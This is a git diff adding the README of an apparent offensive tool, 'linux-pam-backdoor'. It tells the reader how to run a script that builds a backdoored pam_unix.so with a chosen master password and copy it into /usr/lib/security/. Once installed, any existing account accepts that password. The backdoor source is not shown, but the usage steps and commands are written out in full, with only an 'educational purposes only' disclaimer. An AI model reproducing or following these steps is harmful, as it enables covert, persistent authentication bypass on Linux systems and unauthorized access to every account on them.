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@@ -1,2 +1,26 @@
-# linux-pam-backdoor
-Linux PAM Backdoor
+# linux-pam-backdoor         
+Linux PAM Backdoor           
+                             
+This script automates the creation of a backdoor for Linux-PAM (Pluggable Authentication Modules)
+
+## Usage
+To generate the backdoored pam_unix.so, just run:
+```
+./backdoor.sh -v 1.3.0 -p som3_s3cr4t_p455w0rd
+```
+
+You have to identify the PAM version installed on the system, to make sure the script will compile the right version. Otherwise you can break the whole system authentication.
+
+After the execution of the script, the last step is to copy the generated pam_unix.so to the pam modules dir on the host. 
+
+```
+cp pam_unix.so /usr/lib/security/
+```
+
+That's all. 
+
+After that, you can log-in to the system using an existing user, and the previously configured password.
+
+Use this for educational purposes only.
+I am not responsible for the damage you might cause.
+